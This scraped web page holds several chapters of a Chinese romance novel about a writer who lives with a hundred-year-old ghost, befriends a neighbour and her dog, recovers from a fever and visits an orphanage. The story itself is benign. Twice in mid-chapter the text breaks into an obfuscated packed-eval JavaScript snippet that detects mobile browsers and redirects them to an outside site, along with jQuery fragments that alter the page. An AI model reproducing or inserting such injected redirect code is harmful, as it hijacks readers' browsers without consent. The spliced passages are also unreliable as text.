喻声在黑暗中不敢闭眼,满脑子都是江时刚刚鬼气森森的脸;亮个台灯又没睡意,翻来覆去折腾了一晚上,最后在天微微亮的时候,才勉强爬起来翻床头柜吞了片安眠药后昏沉睡过去。 昏睡过去时,喻声脑海中只剩一个念头—— 看都看了。 这个时候把要求她写同人文的单主追回来不知道还来不来得及。 - 安眠药发挥功效的时间不长,十点刚过不久,喻声就被门口悉悉索索的声音吵醒。 声音不大,持续时间却很长。因为没睡饱,喻声脑子已经不转了,靠着枕头呆滞了好一会儿才恍惚想起昨晚临回房间前江时那个要把六楼的香案移到五楼的提议。 喻声不得不承认,这个世界上除了她这种做事温吞、两千字小短篇都能磨蹭一天的人之外,也会有做事高效、行动力超群的人存在。 她有料到江时会搬得很迅速,没料到会这么迅速。 果然只要净化掉睡眠,做事效率都会提高。 不知道春华女士那里有没有这种净化掉睡眠的灵丹妙药。 喻声的思绪跳跃到几千里外,被一重物砸地声吓得收回,心跳也跟着被偷走了一拍,她一顿,扶着床沿穿鞋,打算出卧室看看怎么鬼搬个香案也能制造出这么多奇怪动静。 可是客厅空空如也,没有香案,也没有江时,只剩声音还没停歇。 声音正雀跃着,问着喻声:“您是住旁边这栋公寓吗?能跟您打听一下公寓的具体情况吗?我听说好像闹鬼,有这回事吗?” 喻声接过切块蛋糕,放进袋子里,有点不知道该怎么回答收银员小姐的话。 有鬼是事实,但也不用到处宣扬引起恐慌,而且对于一些不敏感的人来说,鬼靠近他也不会感受到,这时不知道总比知道后想太多好。 于是她踌躇了一会儿,才模糊不清地说道:“是有点邪乎,但信则有不信则无吧,这么久了也没听到有因为闹鬼出事的。” 收银员小姐听到喻声的话后眼睛唰地亮起来:“那我信!” 喻声瞪眼:“诶?” 这不对吧。 这肯定不对啊—— 江时没在客厅,没搬香案,那声音到底是从什么地方来的? 喻声往前走,越靠近门,轱辘滑动的声音就越大。 等她把门打开,才终于确定了声音的来源,以及确定了做事高效、行动力超群的另有其人。 对面的门大敞,行动力超群的收银员小姐背对着她,吭哧吭哧地推着垒满东西的小推车往房里搬行李;江时懒散地靠在墙边,饶有兴致地看着她搬。 小推车上垒得太高,终于支撑不住地往后倒,喻声眼疾手快,往前扶了一把。 “谢谢——” “你——” 两人同时开口。 “对,是我,好巧。” 收银员小姐扭头,第一次看到没戴口罩的喻声,还辨认了好一会儿,随即笑着说,“我叫舒云繁,云朵很多的意思。我本来还在犹豫,听完你的话就去问中介了,一听中介说这只剩了这一间,我就立马定下来了,没想到你也住这一层。” 喻声有点哭笑不得。 她昨晚的意思明明是劝诫,怎么好像变成邀请了? 而且那个房屋中介为了房子能租出去真的无所不用其极,明明这儿还剩那么多间,居然还搞饥饿营销这一套。 旁边的江时在问是不是认识的人,当着舒云繁的面喻声也不好回答他,最后也跟着做了个自我介绍:“我叫喻声,比喻的喻,声音的声。” “喻声。”舒云繁念了一遍,把喻声扶住的那箱东西接过来往屋子里推,“很好听的名字,我记住了。” 很好听的名字吗? 喻声沉默地否决了这句话。 舒云繁没发现喻声那点微妙的情绪,仍在神采飞扬地 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一阵忙乱后,舒云繁惊呼:“我找到了!” 然后,喻声就看见,舒云繁从箱子里掏出了一个,巨大无比的,十字架。 “……”江时咬牙切齿的声音响起,“你告诉她,要是再把我们和吸血鬼混为一谈,我跟她拼了。” 喻声当然不可能照着江时的原话说。 虽然她知道十字架不太行,但她也确实提不出什么更好的建议,否则也不会走到需要通过一个鬼去压制另一群鬼的地步。 喻声什么都没说,但她的表情还是把她内心的想法明晃晃地表现了出来。 舒云繁看见了,有点苦恼:“怎么了,是十字架不适合吗?” 喻声摇头:“我是觉得——” 话没说完,从舒云繁的家里蹦出来一团白色的毛球,紧接着,喻声就听到自己平时只会“咿呀”的门发出了巨大的一声“砰”,刚还在这说着威胁话的江时消失不见。 别说喻声,舒云繁都被吓了一跳:“外面的风这么大啊,这么重的门都能被吹到合上。” 喻声笑了一下,说:“好像是挺大的。” 风不大,白色毛球的威力挺大。 喻声没去管江时,她低头,注意力全被在她脚边乱蹭的小狗吸引走。 喻声蹲下来,轻轻摸了摸小狗,见它不反感又顺毛揉了揉,才问舒云繁:“这是昨晚进便利店躲雨的那只小狗吗?” “对。” 舒云繁把小推车推到一边,腾出了一条小道走出来,也蹲下来摸小狗,“它叫豆乳,可爱吧?我爸妈没时间照看它,我就带过来一起住了,去店里上班再一起带走。” 和舒云繁聊了一会儿后,喻声渐渐没了那种见到陌生人的慌乱情绪,何况还有豆乳,更平添了一股亲近感,于是她说:“如果你平时不方便带,我也可以帮你照看一会儿。” “那太好了,谢谢你呀。” 舒云繁说,“对了,豆乳出来之前你是不是有什么话想对我说来着?” 喻声点头:“我觉得豆乳应该比十字架更有用些。” 回答喻声的,是舒云繁疑惑的表情,和从喻声屋子里传出来的又一声闷响。 用了一个早上,喻声又学会了一个道理。 就算是鬼,也会有力所不能及的事。 5. 100岁 不该看豆乳可爱,就舍不得放开它,在走廊里待这么久的。 喻声暗叹。 她没带钥匙,门却在她的手握住门把手的时候自行打开,本以为这预示着江时虽被豆乳吓一跳但应该不生气,喻声一口气还没彻底松下来,就目睹他在屋内酝酿一场风暴。 更可怕的是,风暴针对对象不是她,是她的小盆栽。 小盆栽可怜的叶子散落一地,江时的动作没有因喻声回来而停止,相反地,听到声音,他扯掉小叶片的速度还加快了不少。 一片、两片—— “停下!” 喻声急了,来不及把门关上,连忙快走两步,弯腰从江时手中夺回盆栽,心疼地摸了摸它所剩无几的叶子,“有话好好说,你欺负它干嘛?” “你不遵守约定。” 江时把地上的所有叶子拢在手心,把玩着,抬眼凝视喻声,平静地说。 喻声不太习惯江时此刻的表情—— 这副表情,和当时他提到离开母亲后的生活时的表情如出一辙。 但她也仅仅是不太习惯,并没有被吓到。 先不说他的指责毫无缘由,就冲着她辛苦养大如今被迫趋向凋零的盆栽,喻声也觉得自己的气势不能输。 “我什么时候不遵守约定了?”喻声顿了顿,低头直直对上江时的视线,又问,“破坏我的东西,是你遵守约定的方式?” 江时气极:“约定好的客厅归我,你却要把那个白色的玩意儿放进来!” “……你说豆乳?”喻声觉得江时的脑回路很诡异:“我什么时候说把它放进来了?而且就算它进来了,和客厅归不归你有什么关系?” “你说了平时要照顾它!它进来了,客厅我还怎么待?” 喻声在脑海中理了一遍,终于明白江时这股怨气是打哪来了。 她确实向舒云繁提了平时可以帮忙照顾豆乳,话说出口的那瞬间也确实忽略了鬼对狗会很敏感。 如果豆乳真的进了她家,客厅是必经之地,江时不可能不受波及。 得知自己确实有不对的地方,喻声的气势渐渐弱了下来:“那你不觉得,它孤零零待在家的话很可怜吗?” “哦。”江时一脸冷漠,“你就不觉得我也很可怜吗?” “……” 喻声很想回答你有什么好可怜的,但很明显这不是个好答案,此时的江时比起豆乳更需要顺毛,“它也不会常来,它来的话你就先去六楼,只要它走了,剩下的时间客厅都是你的。” 江时完全没有被顺毛到:“喻声,到底是它帮你驱鬼还是我帮你?” 言下之意就是:他是大功臣,豆乳只是吉祥物,谁更应该先做出退让不用说。 喻声煞有其事地点点头:“你提醒我了,我觉得它驱鬼也挺有用的,你说我要不要也去养一只?” 她又瞅了眼手中的小盆栽,慢条斯理地说:“反正小狗应该不会故意破坏我的盆栽。” “你!” 江时气结,盯着手中的叶子看了好一会儿,最后低头说了句什么。 “你说什么?” “……没说什么。” 喻声盘腿坐到江时面前,虚靠着沙发,原本有些紧绷的情绪也放松了下来。 她把盆栽放置一边,放置的时候颠簸了下,盆栽的枝晃了晃,光秃秃的。 “能问你个问题吗?” “什么?” “刚才在走廊,你怎么知道十字架是对付吸血鬼用的?” “……” “你不说我也知道。”喻声笑眯眯地说,“我在那篇文的结尾写到的,虽然你口口声声说不喜欢这个题材,最后还是偷偷看了吧?” 江时又沉默,良久,才微不可闻地嗯了一声。 “我写得好吗?” 江时这次没有迟疑,快速地点了一下头,怕不够,又再点了一下:“我从很久以前——还活着的时候吧,就很佩服文笔好的人。” “为什么要佩服?”喻声声音很轻,“痛苦是文字的养分啊,太幸福的话反而写不出东西来。” 江时微怔。 所以—— 喻声没给他思考的时间,又继续往下说:“所以你放心。” 江时还没想出个所以然来,就又被喻声的话说懵:“放心什么?” “江时,我不会养其他小狗,豆乳也只是暂时的,我绝对不会抛弃你的,你可是我最珍贵的读者啊。”喻声眉眼一弯,“如果你实在害怕豆乳,它要真来的话我就多带它出门转转。” ——“反正我已经习惯被抛弃了。” ——“我绝对不会抛弃你的。” 她听到了。 她听到了他刚刚说的话。 她绕了好大一个圈,只是想安慰他。 而自己都做了些什么? 破坏她的东西、指责她、曲解她、因为认为世界很糟糕所以也把她往糟糕的方面想。 ——她波光粼粼、笑意盈盈的眼睛里,她漂亮、纯净的眼睛里,是如此丑陋的自己。 江时盯着喻声看了片刻,这样想到。 鬼是空洞的、没有心跳的怪物。 可为何被掏空的一片毫无波澜的平静中,仍有什么在不停摇摆? 喻声看到江时呆坐着,没忍住伸手碰了碰他的脸。 软乎乎的、冷冰冰的。 不是电影男主角的脸,是江时的脸,反而感觉更好。 江时被烫了一下,才蓦然回过神来,他慢吞地低头,说了声对不起。 江时把放置一旁的盆栽捧了过来,手往上抚过,盆栽的枝又晃了晃,恢复了原先的绿,甚至更生机勃勃了些,原本安稳待在他手心里的叶片也消失不见。 做完这些事后,他耷拉着,把盆栽递还给喻声,又再说了一声对不起。 喻声迟疑接过,惊讶得不行。 疑问从上次江时帮她清理掉身上的雨水时就开始种下,直至今日发芽。 她是这种体质,再加上从小在春华女士身边待着,神神鬼鬼的看过没有一千也有八百,第一次见鬼有恢复新生的特殊能力的。 不过喻声也没多纠结,左右是因为她见的还不够多罢了,如今问题已解决,小盆栽也恢复原样,喻声的心情也跟着外面的天气一点一点亮了起来。 东宜的夏天天气就是这样,逼近中午时太阳还晃得人睁不开眼,热浪翻滚,蝉鸣不断,天空是水浆洗过泛白的蓝;傍晚时云吸饱了水,风一刮过,天空又变成沉甸甸的黑,喻 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喻声被这么无赖的行为气得不轻:「如果您真的看过我的主页,就应该能看到简介写着可修改三次,也是秉承着顾客是上帝的原则让您改到了第五次,如果您现在想终止交易,错不在我,定金不退,视为跑单费。」 她想过的最恶毒的行为,也只是在一大段后再加上一句:「我觉得您实在不太适合约稿。」 两分钟后,喻声看着对方发来的、铺满整个屏幕的对话框,才觉得自己最后补充的那句实在太过礼貌。 喻声从小到大,都不擅长跟人吵架。 高敏也好,嘲笑她和正常人不一样的同学也好,谁都好,和他们吵架太累,只有自己保持长久的沉默时才会收获施舍般的善罢甘休。 如今也是这样。 屏幕上的文字疯狂地往上滚动着,喻声沉默,嘴也动不了,手也打不了字,只能试图像很多次那样得到对方的善罢甘休。 如今却不同。 接稿软件有已读机制,对方把喻声的已读不回当作挑衅,语言表达更加地赤裸裸。 有一只手从背后往前捂住了喻声的眼睛,不紧、带茧、透明。 傻瓜。 那只透明的手能遮住什么。 但喻声还是顺从地闭上了眼睛,心里却在害怕温热的眼泪会弄湿他的手。 心里想的,不知道为什么会说出口。 “没事。”江时放软了声音,“别怕。” 视觉被关闭,听觉就会被放大,杂音不断中,喻声听见江时叹气,嘟囔着这怎么操作,死了100年的人再接触新鲜事物真的很不容易;听见他絮絮叨叨,说怎么不会像保护盆栽一样保护自己,遇到这种人就像早上反问我一样反问回去就好了;听到他过了很久之后说,喻声,睁眼。 想要记住的瞬间太多了。 可这些瞬间通通被眼泪泡过、发涨,直至模糊不清。最后能留存长久的,也只有那句别怕,那句睁眼,那天的天气。 雨没有下,风还在,天气晴。 喻声在被风吹乱的心跳声中缓慢睁眼。 6. 100岁 风把心跳声吹乱,也把隐藏在喻声体内的感冒因子唤醒。 刚开始还只是鼻塞胸闷,喻声没当回事,但不知是因为下楼买药时被鬼吓了一通,还是因为下楼时又遭了风,隔天晚上直接发起烧来,算到现在已经过了三天还没好。 舒云繁早上来过一回,嘱咐喻声多休息,晚上下班再带点吃的来看她;又给喻声的手机设置了一键拨号,至少她的便利店离得近,真出事了她还能冲上来救喻声。 她的话把喻声逗笑。 舒云繁也笑,放下了喻声的手机:“太夸张了是不是?” 喻声摇头:“不是。” 是谢谢的意思。 便利店早开门,舒云繁只坐了一会儿就走了,临出门前还对客厅摆着的香案感到好奇,被喻声以租房子的时候就摆在这为理由搪塞了过去。 送走舒云繁,喻声又无力地陷回被窝里,整整三天和床生长在一起。窗帘拉上了,一丝阳光都透不进来,唯一照亮她的是书桌上发着光的电脑屏幕。 江时自从那天误打误撞帮喻声举报成功后,就开启了老古董接触新事物之旅。但他死得太早了,当时学的还是注音符号,对汉语拼音和五笔一窍不通,最后逞强了半天,还是喻声帮他改的语音输入。 喻声闭眼躺在床上时,耳边围绕的全是江时对着电脑屏幕的咕哝: “生病了怎么办?” “发烧了怎么办?” “除了喝热水还能干什么?” “喝热水的好处是什么?” “……” 简直比外面的蝉鸣还要吵。 最后江时也没查出个明白,他踱步到床边,一只手拐过来把喻声捂着头的被子往下扯到她下巴,目光掠过她烧红的脸,皱眉:“去医院。” “不去。” 喻声没睁眼,回答道,她感受到凉意,往上拖拽被子没成功,干脆翻了个身后往下蜷,“我好累,别吵我。” “你已经烧三天了,想把脑子烧坏?” “烧坏也不去。” “……像话吗。” 江时被噎了一下,“你要再不起来,我直接连被子把你扛走,随机吓个人问他医院在哪里。” 发烧后的脑袋像气球,氦气混沌地灌进来,脑袋被撑大,大到足以对抗大气压后就晕晕乎乎地打转着往上飘—— 直到被江时像针的一句话戳破。 喻声拼力半撑着坐起来,没吭声,瞪着江时。 她毫不怀疑,如果她没坐起来,江时真会说到做到。 “为什么不想去?”江时问。 “你为什么非得追根究底?就算我烧死了——”喻声一顿,咬了咬牙,发烧让她无法保持理智,说出来的话破罐子破摔,“——也没什么关系。” 只要不去医院,都没什么关系。 江时垂眼看喻声,手沿着下巴掰过她的头,伸手往她额头上贴,语气冷静。 “开口就死不死的,变成我这样你愿意?” 江时的手冰凉,不知道是不是网上学的招数,他一直贴着喻声的额头没放下来,至少比退烧贴管用,喻声稍微恢复了点理智。 “……我不是这个意思。” “那你是什么意思?”江时另一只手帮喻声往上拢了拢被子,“还是说,那天晚上是骗我的,其实你很缺钱?” “你很缺钱?” 那天晚上,等到喻声睁眼,江时才把遮住她眼睛的手放下,而后问。 喻声当然明白江时为什么会这么问。 她接起稿来不要命,吃饭睡觉时间极限缩短,一天基本都坐在电脑桌前修修改改,遇到极端单主也只能忍气吞声。 “我不缺。” 喻声顿了顿,回答。 虽然对文字太过推敲导致一天也写不了多少,但拉长战线,千字稿费多,就算不太稳定平均一月也能赚得很客观。 “只是我需要。” 太需要了。 “……” 过了半晌,江时才听到喻声低声回了一句。 “没骗你。我只是太不喜欢医院了。” 又一句。 “也不是故意呛你的。” 只是偶尔,很偶尔,人在弦绷得太紧断掉时总会脆弱,面对关心总会想要任性和宣泄,宣泄过后又渴望包容。 “知道了,如果晚上还没退烧,再来谈去医院的事情。”江时妥协,语调很轻,“现在先把药吃了,吃完睡觉。” “江时。” “我在。” 喻声把药吃了,昏昏沉沉睡过去前只留下一句“别对我太好”,等到彻底睡着了也没得到回答。 - 喻声直到傍晚才醒来,准确来说,是被敲门声叫醒的。 挣扎着坐起来后的第一件事,先是条件反射地伸手摸了下额头,确定不烫了才松口气,而后穿鞋开门,在舒云繁手指快要敲断前终于打开了门。 舒云繁裹挟着凉风和日落挤了进来,踩着后鞋跟把鞋脱了,她的两只手拎满了东西,往厨房走的同时还一步三回头看喻声。 “你再晚点开门我真要报警了。” “哪有这么严重?”喻声笑,跟着她也往厨房走,“谢谢你早上带来的药,我现在好多了。” “看着气色是好了点,还发烧吗?” “摸着不烧了。” “那就行,我给你带了粥、小菜和一些水果,你多少吃点,这才几天就瘦成这样了。我还带了煎饺当晚餐,不过你暂时不能吃,就当陪我了。哦对了,还有三明治,先放冰箱吧,明天可以吃。” 舒云繁站在装粥的食盒前,犯了难,环顾了一圈也没找到,“你家的碗筷都放在哪里?” 喻声还没来得及回答,墙边的碗柜“轰”地一声打开,瓷白的碗飘了出来,稳稳当当落到台面。 舒云繁被吓得腿发软,扶住岛台才没跪下来,她不敢置信地望向喻声,企图从喻声脸上寻找共鸣:“你刚看到了没!碗柜、碗柜自己开了!还有那个碗,我没瞎的话刚是飘在空中吧——这地方真闹鬼啊?” 耳朵听到传闻和亲眼所见传闻,冲击感真不一样。 喻声干巴巴地笑了声,对着舒云繁说了句“是不是灯太暗了眼花了”,又往旁边悄悄地瞪了下。 旁边赫然站着的是从醒来就没看到的江时,偏偏他还一脸无辜,说我是在帮她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373069|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——根本就是在报豆乳吓他一跳的仇吧。 喻声严重怀疑,江时死的时候应该没二十岁,充其量十岁,不,八岁,不能再多。 “你真没看到?” 喻声走上前,把碗拿了,又再从碗柜里抽出两双筷子两把汤勺,还多拿了盘子。 “我下午口渴来拿了杯子,碗柜应该是那时候忘关的,碗太靠外放了挡到杯子了,我先拿出来结果忘放回去了。” 哄骗意味极重,话音刚落,喻声就听到从背后传来的轻笑。 等到舒云繁怔愣地点点头,喻声才又笑着说:“没事,我在这儿呢,别怕。” 舒云繁又带着委屈的表情点点头,权当刚刚是眼花了。 她接过喻声手里的碗,把食盒打开就往碗里倒,食盒里的粥留得不多,碗里堆得满满登登;又拿过筷子,把另一个塑料盒里的煎饺一股脑地赶到盘子上。 “我来拿吧。” 喻声想抢先端碗和盘子,被舒云繁敲了一下:“袋子里还有个盒子,里面是小菜,你拿那个吧,轻一点,病没好呢别晕头转向把碗摔了,这个我拿就好。” “没有这么脆弱吧?拿个碗而已。” “小心为上嘛。” 原来有朋友是这种感觉啊。 从厨房到客厅,舒云繁在前面走,喻声慢她两步,听她慢悠悠说着今天便利店遇到的奇葩客人,说着豆乳在店里一点都不乖,话往后飘,轻轻掠过喻声,一颗心突然落地,被柔软的绒毛毯子接住、包裹,被手中的小菜升腾的热气烘得温暖。 前面的舒云繁已经把东西放下,疑惑地看着喻声,催促着:“愣什么呢,快过来呀。” 喻声把所有杂乱的想法揉成一团抛掉,快走两步把东西放下,挤到茶几和沙发的间隙,坐到舒云繁的身边:“我是在想,病好了要请你吃饭。” “清粥小菜换一顿大餐?” “一顿大餐换清粥小菜。” 一顿大餐,换这辈子吃过的最好吃的清粥和小菜,太值得了。 喻声问舒云繁是不是点了酒馅的煎饺,怎么边吃边乐得不行。 舒云繁一听这话更乐了,说应该是清粥里面下了白酒,不然怎么会有这么甘愿被宰的笨蛋。 喻声煞有其事地点了下头。 如果这种突然其来的幸福就叫喝醉的话,那应该就是了。 喝醉的时刻还有很多,让喻声喝醉的人原来也有好多,说着不让她吃煎饺最后还是往她嘴里塞了最后一口的舒云繁,送走舒云繁后在走廊给她打来电话问近况的春华女士,和打完电话回到家后熟练地过来贴额头、披毯子、催促她吃完药赶紧去睡觉的江时。 和舒云繁闲聊吃饭时,江时没打扰她们,等到舒云繁走了才悄无声息回到客厅。 喻声感觉自己又开始有点晕乎乎的。 她问:“起床后不见你,去哪里了?” 江时轻不可闻地笑了下:“真想知道?” 这有什么真的假的。 喻声仰头看了眼他。 “你讲梦话,被我听到太多秘密了,秉承着见好就收的原则,我好心只听了一半。” 喻声倦意被赶跑:“……?” 7. 100岁 最后也没从江时嘴里套出到底说了什么梦话,这件事因喻声病好得差不多,恢复工作而被搁置了下来。 喻声的早午餐是舒云繁好几天前带来的三明治,江时的早午餐则是他从外卖app里自己挑选的广式早茶,作为他别再吓舒云繁的交换。 江时对美食倒是坦然接受,对喻声的指责则持保留意见。 他戳开肠粉,夹起一块放嘴里,嚼完才回答:“我真没故意吓她。” “我很想信你。” 透过窗户的阳光在桌子上炸开花,江时眼睛微微亮了起来。 三明治的包装袋太妨碍咬下一口,喻声干脆把整个包装撕掉,这才抬眼看他,继续往下说。 “但你前科实在是太多了。” “……幸好你没学法律。” “嗯?” 江时已经把肠粉吃完,正在费力地开另一个卡得死死的塑料盒,余光瞥到喻声的早饭快接近尾声,先伸手把放在另一边的药瓶移到她面前才继续往下拆塑料盒。 “不是有那个,疑罪从无吗?但在你这里疑罪都直接判死刑了是吧。” 感冒有余震,喻声的药在退烧后还一连吃了好几天,一日三次,有时会忘,全靠江时的饭后提醒。 “……谢谢。”喻声接过药瓶,把该吃的三粒倒在盖子上,放到水杯旁,又说,“你最近上网学到不少东西啊。” 终于把塑料盒拆开,江时垂眼吃饭,又抬头看喻声,又低头盯食物,反复纠结好几次,直到喻声吃完最后一口三明治在收拾桌子上的残渣时才睫毛翕动,忍不住问:“我一直用你的电脑,你会觉得不方便吗?” 喻声手上的动作一停,才反应过来他刚刚这么久的迟疑是在犹豫什么,她无奈温声道:“我不是这个意思,最近状态不太好少接了点稿,所以你用也没有打扰到我。今天一天我都不会在家,你今天也可以继续用。” 怪不得她今天吃饭的速度都变快了很多。 江时把盒里的葱都拨开,又拨回来,忙了半天也没入口,他状似无意地问:“你要去哪里?” 没什么好瞒的,喻声言简意赅:“我定期给福利院捐款,隔一段时间就会去看看孩子们。” 江时更加言简意赅,没有丝毫犹豫:“我也去。” “……你?” “反正他们也看不到我,去了也不会对你造成什么影响吧?” 到底是谁说看不到的? 喻声默默地想,耳边还响着每次一来最粘她的小姑娘的询问:“喻声姐姐,你后面跟着这个哥哥是谁呀?” 喻声蹲下来,摸摸小姑娘圆溜溜的脑袋,再把手里袋子打开,里面是图画书和玩偶,其他另带来的日常消耗品则先交给了护工秦淑含:“上次姐姐要走的时候不是说,珠珠要乖乖吃饭,姐姐就会给珠珠带礼物来吗?但东西太多了,姐姐就找了哥哥帮忙,顺便让他一起过来陪珠珠玩。” 江时没想到会被看到,他摸了摸鼻子,不自然地跟着打了个招呼。 小姑娘叫福珠,出生就被遗弃,名字是福利院起的。喻声来东宜上大学、开始定期给东宜福利院捐款满打满算已经过了五个年头,福珠也在福利院跌跌撞撞地走完了她的五岁。 喻声在东宜第一次租房的地段离福利院远了不少,再加上当时因毕业论文忙得焦头烂额,来福利院的次数骤减,导致小姑娘每次见她都委屈,恨不得挂她身上随她回家。 阴差阳错地,这次租的房子倒是离福利院不远,算是继续在这里住下去的第三个理由。 喻声因为刚感冒好减少了单子,这两天正闲着,就想趁有时间来看看福珠,顺便送点东西。 果然一听喻声这么说,福珠雀跃地笑弯了眼,小小的她小小的心脏里能装下的也只有今天多了个人陪她玩,她一手抱着玩偶,一手举起图画书,稚声稚气地问:“哥哥可以念书给我听吗?秦奶奶太忙了,没有时间讲给我听,我有好多字都不认识。” 初秋很好,天气很好,阳光很好,是这么一个身心愉悦,柿子都幸福到熟透的日子。 东宜福利院老旧,不大,但像福珠这样,带着疾病来,从崭新的出生就被遗弃,不受祝福的孩子却很多。 ——他们生命中无时无刻的难捱的暴雨,会因为突然出现的很好的日子而骤减一点吗? 喻声不知道。 也根本不敢想。 正因这样,她又怕自己给的不够,又怕自己给的太多。 此刻,喻声也只敢静静地顺着福珠的头发,一下又一下,和她贴着温存一会儿,有一搭没一搭地听着江时念图画书。 他们坐在树下的长椅上,阳光透过树缝织成一张密密的网笼罩下来。院子里的地凹凸不平,有水洼,积水被阳光晃得流淌,这个点刚好是福利院自由活动的时间,不少小孩子嬉笑着踩着水欢呼玩闹。 江时缓缓念着图书的声音、小孩子玩闹的声音、风拜托枝叶替它发出的沙沙声音,所有声音混杂在一起,涌进喻声的胸腔,清晰地提炼出一个关键词—— 习惯。 喻声蓦然发现,她好像真的在习惯着这一切,习惯着江时的存在,习惯着他无所遗漏地融入她生活的每一件事中。 对于她来说,这个词太陌生了,好像不是个好兆头。 但她没来得及思考太多,福珠听困了的脑袋就砸到她怀里,随即传来均匀绵长的呼吸声。 喻声失笑,撑着往后坐了点,换了个姿势托住福珠的头,小心翼翼地放在腿上,让她睡得更舒服些,抬眼就看到江时的目光黏在她脸上。 四目相对,一时无言,江时先打破了寂静。 “你好像没怎么变。”江时说。 喻声一愣。 “你刚才进去和院长打招呼时,福珠给我看了几年前你和她拍的照片。”他解释。 江时把手中的书往前翻,封面和目录间赫然夹着一张照片,喻声伸手去拿,拿住的是一袋柿子,是秦淑含塞给她的。 “院子里种的,最近刚成熟,甜得很,带一袋回宿舍吃吧。” “谢谢秦奶奶。”喻声弯了弯眼,袋子沉甸甸的,她把袋子往手臂处捎,“最近身体还好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373070|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是老样子。”秦淑含叹了口气,招呼喻声坐下,眼神止不住往福珠那边瞧,又叹了口气,“能多撑几年是几年,左右是放心不下这些孩子。” 秦淑含二十几年前老伴去世,她膝下无儿女,辗转几次后就住进了福利院,成为了护工,一直到现在,二十年从未停歇,带出来的孩子数不胜数。 福珠是被遗弃到福利院门口的,抱回来后一直是秦淑含在带她,名字也是她起的。福珠算是这一茬孩子中最小的一个,也因病一直没被领养,因此秦淑含格外疼她。 喻声还是有点担忧:“您平时也得多注意休息,我给您带的补品那些,您要记得吃,别忙忘了。” 秦淑含笑眯了眼欸了一声,拍了拍喻声的手,说她会记得的,但下次千万别再破费买这么多东西来了。 喻声和秦淑含聊天的时候,福珠就乖乖坐在旁边画画。 三岁的小孩在无引导的情况下画出来的画是凌乱的,有形状但看不出来画的是什么的,福珠在画完后指着一堆圈圈告诉喻声和秦淑含,这是喻声姐姐,这是秦奶奶,这是珠珠,是一家人。 照片也是这个时候拍下的。 院长举着相机走过来,咔嚓一下,把喻声、秦淑含、福珠、柿子、画和幸福永远定格。 最后把相片留给了福珠,庆祝她的第二次人生在浓郁的秋天开启。 喻声伸手去拿,这次拿住的是照片。 她久久摩挲着照片上自己的脸。 鲜活的脸,酒窝酝酿着甜意,嘴唇漾开,脆生生的笑容,另一个喻声。 “没怎么变吗?”喻声问。 恍惚间,她也不知道是在问江时,问过去的自己,还是在问现在的自己。 江时靠着椅背,侧过身,目光在喻声身上流转:“看起来心事是多了点。” 喻声笑,把照片塞回书里,轻轻把福珠被风吹得凌乱的头发别到她耳后。 她声音很低,近似呢喃:“都过去两年了,多点心事也很正常吧。” ——所以两年前的你,没有那么多心事的你,也会在睡着时皱眉,流泪,声线模糊地喊着妈妈,说着害怕吗? 江时定定地看着喻声,心里想着,却没问出口。 “那你呢?” “我?” 喻声点头:“以鬼的身份存在了100年,有什么变化吗?” “之前没感觉到,最近感觉到了。”江时笑,坐直了点,“遇到你后好像开心了不少。” 他数着开心的点,坦诚认真:“我没吃过那么好吃的饭,没看过那么好看的文章,没见过像你一样对鬼这么宽容的人,没尝试过这么鲜活的日子——” “这些都是因为遇到你才会拥有的。” 好吃、好看、宽容、鲜活。 他的形容词太匮乏,却很直白。 时间流动,日落时刻,树缝透过的光变成了橘色,所有声音都被过滤掉了。 喻声心头猛猛一跳,起起落落,不知所措。 刚才被福珠脑袋砸掉的念头又慢悠悠飘了回来。 8. 100岁 念头堪堪浮现,到底没再说别的。 秦淑含站在小食堂门口唤着喻声和福珠,喻声招了招手示意,随即把江时手里的图画书接过来,翻开确认照片好好地夹在里面,才连带着玩偶一起小心地放回袋子里。 “你先在这里等我一会儿,我和秦奶奶说一下,我们就回去。” 江时嗯了一声,知道这会他也帮不上忙,就嘱咐喻声小心点。 喻声往上掂了掂怀中熟睡的福珠,底下腾空的手晃了晃,江时把袋子挂了上去,她才笑着说知道了。 天空被泼了颜料,飞鸟是画笔,把橙黑搅在一起,把所有暂时无法言说的情绪化成布在上面星星点点的灰。 五岁的小孩已经有些重量,何况正在熟睡中,全身都依赖着喻声,不长的一段路,喻声走得很缓、很稳,台阶一步一步,走到时也花了点时间。 “怎么睡着了?” 秦淑含迎上来,伸手想接过福珠,喻声侧了一下,避开,依旧稳稳当当抱着:“秦奶奶,我抱着福珠吧,一会再找地方放下,你的腰千万要注意,今年都重复闪腰好几次了。” 秦淑含没拗过喻声,笑着摇头,还是坚持从喻声手中拎过袋子,腾了张椅子给她坐:“你当年来的时候——是两年多以前吧,当时不说健步如飞,就是干好几个小时的活也不嫌累,这两年老得太快了,力不从心了很多。” “这几年来了太多孩子,您太辛苦了。” 喻声坐下,视线往旁边绕了两圈,落在一群半大点,围在保温桶边争着多要个饺子的孩子身上。 这群孩子,和福珠年龄差不多的也有,裹着毯子,还需要护工抱着的也有,一个个如同柿子树上结的柿子一般,澄亮、锦簇、昂扬高挂,“时间过得太快了,福珠在我印象里还是小小一个,如今底下也一堆弟弟妹妹了。” 秦淑含点了点福珠的鼻头:“福珠长再大,也还是最粘你。” 喻声笑,低眼看向怀里的福珠,声音很轻:“这倒是。” “福珠的身体还好吗?” 